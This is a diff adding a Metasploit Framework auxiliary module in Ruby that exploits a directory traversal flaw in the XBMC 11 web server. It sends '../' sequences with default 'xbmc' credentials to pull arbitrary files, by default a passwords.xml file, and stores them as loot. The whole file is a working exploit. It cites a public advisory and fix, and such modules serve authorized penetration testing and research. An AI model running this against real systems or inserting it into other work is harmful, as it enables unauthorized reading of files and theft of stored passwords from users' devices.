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| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Auxiliary |
| 11 | + |
| 12 | + include Msf::Auxiliary::Report |
| 13 | + include Msf::Exploit::Remote::HttpClient |
| 14 | + |
| 15 | + def initialize(info={}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => "XBMC Web Server Directory Traversal", |
| 18 | + 'Description' => %q{ |
| 19 | + This module exploits a directory traversal bug in XBMC 11, up until the 2012-11-04 nightly build. |
| 20 | + The module can only be used to retrieve files. |
| 21 | + }, |
| 22 | + 'License' => MSF_LICENSE, |
| 23 | + 'Author' => |
| 24 | + [ |
| 25 | + 'sinn3r', # Used sinn3r's yaws_traversal exploit as a skeleton |
| 26 | + 'Lucas "acidgen" Lundgren IOActive', |
| 27 | + 'Matt "hostess" Andreko <mandreko[at]accuvant.com>' |
| 28 | + ], |
| 29 | + 'References' => |
| 30 | + [ |
| 31 | + ['URL', 'http://forum.xbmc.org/showthread.php?tid=144110&pid=1227348'], |
| 32 | + ['URL', 'https://github.com/xbmc/xbmc/commit/bdff099c024521941cb0956fe01d99ab52a65335'], |
| 33 | + ['URL', 'http://www.ioactive.com/pdfs/Security_Advisory_XBMC.pdf'], |
| 34 | + ], |
| 35 | + 'DisclosureDate' => "Nov 4 2012" |
| 36 | + )) |
| 37 | + |
| 38 | + register_options( |
| 39 | + [ |
| 40 | + Opt::RPORT(8080), |
| 41 | + OptString.new('FILEPATH', [false, 'The name of the file to download', '/private/var/mobile/Library/Preferences/XBMC/userdata/passwords.xml']), |
| 42 | + OptInt.new('DEPTH', [true, 'The max traversal depth', 9]), |
| 43 | + OptString.new('USERNAME', [true, 'The username to use for the HTTP server', 'xbmc']), |
| 44 | + OptString.new('PASSWORD', [false, 'The password to use for the HTTP server', 'xbmc']), |
| 45 | + ], self.class) |
| 46 | + end |
| 47 | + |
| 48 | + def run |
| 49 | + # No point to continue if no filename is specified |
| 50 | + if datastore['FILEPATH'].nil? or datastore['FILEPATH'].empty? |
| 51 | + print_error("Please supply the name of the file you want to download") |
| 52 | + return |
| 53 | + end |
| 54 | + |
| 55 | + # Create request |
| 56 | + traversal = "../" * datastore['DEPTH'] #The longest of all platforms tested was 9 deep |
| 57 | + begin |
| 58 | + res = send_request_raw({ |
| 59 | + 'method' => 'GET', |
| 60 | + 'uri' => "/#{traversal}/#{datastore['FILEPATH']}", |
| 61 | + 'basic_auth' => "#{datastore['USERNAME']}:#{datastore['PASSWORD']}" |
| 62 | + }, 25) |
| 63 | + rescue Rex::ConnectionRefused |
| 64 | + print_error("#{rhost}:#{rport} Could not connect.") |
| 65 | + return |
| 66 | + end |
| 67 | + |
| 68 | + # Show data if needed |
| 69 | + if res |
| 70 | + if res.code == 200 |
| 71 | + vprint_line(res.to_s) |
| 72 | + fname = File.basename(datastore['FILEPATH']) |
| 73 | + |
| 74 | + path = store_loot( |
| 75 | + 'xbmc.http', |
| 76 | + 'application/octet-stream', |
| 77 | + datastore['RHOST'], |
| 78 | + res.body, |
| 79 | + fname |
| 80 | + ) |
| 81 | + print_good("File saved in: #{path}") |
| 82 | + elsif res.code == 401 |
| 83 | + print_error("#{rhost}:#{rport} Authentication failed") |
| 84 | + elsif res.code == 404 |
| 85 | + print_error("#{rhost}:#{rport} File not found") |
| 86 | + end |
| 87 | + else |
| 88 | + print_error("HTTP Response failed") |
| 89 | + end |
| 90 | + end |
| 91 | +end |
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